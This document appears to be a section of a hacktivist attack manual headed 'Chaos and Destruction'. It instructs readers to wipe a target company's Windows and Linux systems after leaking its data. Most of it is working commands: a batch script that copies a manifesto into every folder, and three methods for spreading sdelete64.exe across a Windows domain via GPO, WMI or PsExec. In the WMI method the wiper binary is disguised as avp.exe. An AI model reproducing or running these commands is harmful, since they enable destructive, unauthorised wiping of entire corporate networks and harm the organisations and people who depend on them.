Chaos and Destruction

Companies have large networks consisting of both Windows and Linux systems, so if your end goal is not only leaking data to journalists but to also destroy your target then using a wiper will be the best way to achieve this goal, just make sure not to wipe critical services that may impact someones physical safety as demonstrated in Guacamaya's HackBack video, we want to destroy data, not harm human life.

Windows

Print your manifesto

@echo off
set "manifesto=C:\Users\Administrator\AppData\Local\Temp\manifesto.txt"
for /r "C:\" %%d in (.) do (
    xcopy "%manifesto%" "%%d\" /Y
)

Wiping Windows Domain

Method 1: Using Group Policy Objects (GPO) and Scheduled tasks to spread sdelete64.exe across the domain

• Guacamaya (2:13:35 Wiping windows domain with sdelete on the domain controller) sdelete64.exe -accepteula -r -s C:\*

Method 2: Using batch files to spread sdelete64.exe utilizing Windows Management Instrumentation (WMI)

On the domain controller get list of server names:

• net view /all /domain

Running as the domain admin, copy the sdelete64.exe binary file to all servers in your list:

• for /f %%i in (servers.txt) do copy "C:\Windows\Temp\sdelete64.exe" "\\%%i\C$\Windows\avp.exe"

Specify account credentials:

• start wmic /node:"<COMPUTER>" /user:"<USER>" /password:"<PASSWORD>" process call create "cmd.exe /c copy \\SHARE\C$\Windows\Temp\sdelete64.exe C:\Windows\avp.exe"

Running as the domain admin now execute:

• for /f %%i in (servers.txt) do wmic /node:%%i process call create "cmd.exe /c C:\Windows\avp.exe -accepteula -r -s C:\*"

Specify account credentials:

• start wmic /node:"<COMPUTER>" /user:"<USER>" /password:"<PASSWORD>" process call create "cmd.exe /c C:\Windows\avp.exe -accepteula -r -s C:\*"

Method 3: Using PsExec to run sdelete64.exe across the network

• start PsExec.exe -d @C:\Windows\Temp\servers.txt -u DOMAIN\Administrator -p Passw0rd123! cmd /c C:\Windows\Temp\sdelete64.exe -accepteula -r -s C:\*

Linux

Print your manifesto

• find ~/ -type d -exec cp -R /tmp/manifesto.txt {} \;
